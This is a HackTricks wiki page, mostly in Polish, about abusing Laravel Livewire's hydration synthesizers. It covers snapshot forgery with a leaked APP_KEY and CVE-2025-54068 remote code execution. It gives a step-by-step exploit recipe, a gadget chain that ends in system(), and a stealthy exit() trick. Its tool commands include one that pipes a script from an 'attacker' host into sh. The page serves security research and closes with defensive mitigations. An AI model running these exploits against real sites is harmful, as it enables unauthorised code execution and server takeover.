Laravel Livewire Hydratacja i nadużycie Synthesizer
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podsumowanie maszyny stanów Livewire
Komponenty Livewire 3 wymieniają swój stan za pomocą snapshots, które zawierają data, memo oraz sumę kontrolną. Każde żądanie POST do /livewire/update odtwarza snapshot JSON po stronie serwera i wykonuje zakolejkowane calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Każdy, kto posiada APP_KEY (używany do wyprowadzenia $hashKey), może więc sfałszować dowolne snapshots, ponownie obliczając HMAC.
Złożone właściwości są kodowane jako syntetyczne krotki wykrywane przez Livewire\Drawer\BaseUtils::isSyntheticTuple(); każda krotka ma postać [value, {"s":"<key>", ...meta}]. Rdzeń hydracji po prostu deleguje każdą krotkę do synth wybranego w HandleComponents::$propertySynthesizers i rekurencyjnie przetwarza elementy potomne:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Narzędzie parsuje przechwycony snapshot, wstrzykuje gadget tuples, przelicza sumę kontrolną i wypisuje payload gotowy do wysłania na /livewire/update.
CVE-2025-54068 – RCE without APP_KEY
updates są scalane ze stanem komponentu po zweryfikowaniu sumy kontrolnej snapshotu. Jeśli właściwość wewnątrz snapshotu jest (lub staje się) synthetic tuple, Livewire ponownie używa jej meta podczas hydratacji wartości aktualizacji kontrolowanej przez atakującego:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Przepis exploita:
- Znajdź komponent Livewire z publiczną właściwością bez zadeklarowanego typu (np.
public $count;). - Wyślij update, który ustawia tę właściwość na
[]. Następny snapshot zapisze ją jako[[], {"s": "arr"}]. - Sporządź kolejny payload
updates, w którym ta właściwość zawiera głęboko zagnieżdżoną tablicę osadzającą tuple takie jak[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Podczas rekursji
hydrate()ocenia każde zagnieżdżone dziecko niezależnie, więc wybrane przez atakującego klucze/klasy synth są respektowane, nawet jeśli zewnętrzna tuple i suma kontrolna nigdy się nie zmieniły. - Wykorzystaj ponownie te same prymitywy
CollectionSynth/FormObjectSynth, by zainstancjować Queueable gadget, którego$chained[0]zawiera payload phpggc. Livewire przetwarza sfałszowane updates, wywołujedispatchNextJobInChain()i dochodzi dosystem(<cmd>)bez znajomościAPP_KEY.
Główne powody, dla których to działa:
updatesnie są objęte sumą kontrolną snapshotu.getMetaForPath()ufa dowolnym meta danym synth, które już istniały dla tej właściwości, nawet jeśli atakujący wcześniej wymusił, by stała się tuple przez słabe typowanie.- Rekursja i słabe typowanie pozwalają, by każda zagnieżdżona tablica była interpretowana jako zupełnie nowa tuple, więc dowolne klucze synth i dowolne klasy ostatecznie docierają do hydratacji.
Livepyre – eksploatacja end-to-end
Livepyre automatyzuje zarówno wariant CVE bez APP_KEY, jak i ścieżkę ze podpisanym snapshotem:
- Identyfikuje wersję Livewire zainstalowaną na serwerze, parsując
<script src="/livewire/livewire.js?id=HASH">i mapując hash na podatne wydania. - Zbiera bazowe snapshoty przez odtwarzanie normalnych, niegroźnych akcji i wyodrębnianie
components[].snapshot. - Generuje albo payload zawierający tylko
updates(CVE-2025-54068), albo sfałszowany snapshot (gdy APP_KEY jest znany) z osadzonym łańcuchem phpggc.
Typowe użycie:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check uruchamia niedestrukcyjne sprawdzenie, -F omija kontrolę wersji, -H i -P dodają niestandardowe nagłówki lub proxy, a --function/--param dostosowują wywoływaną przez gadget chain funkcję php.
Zagadnienia obronne
- Zaktualizuj do naprawionych buildów Livewire (>= 3.6.4 zgodnie z biuletynem dostawcy) i wdroż poprawkę dostawcy dla CVE-2025-54068.
- Unikaj słabo typowanych właściwości publicznych w komponentach Livewire; jawne typy skalarne zapobiegają przekształcaniu wartości właściwości w tablice/krotki.
- Zarejestruj tylko te synthesizers, których naprawdę potrzebujesz, i traktuj kontrolowane przez użytkownika metadane (
$meta['class']) jako niezaufane. - Odrzucaj aktualizacje, które zmieniają typ JSON właściwości (np. scalar -> array), chyba że jest to wyraźnie dozwolone, oraz ponownie wyliczaj synth metadata zamiast ponownie używać przestarzałych krotek.
- Rotuj
APP_KEYniezwłocznie po każdym ujawnieniu, ponieważ umożliwia ono offline tworzenie sfałszowanych snapshotów bez względu na to, jak bardzo kod bazowy jest załatany.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


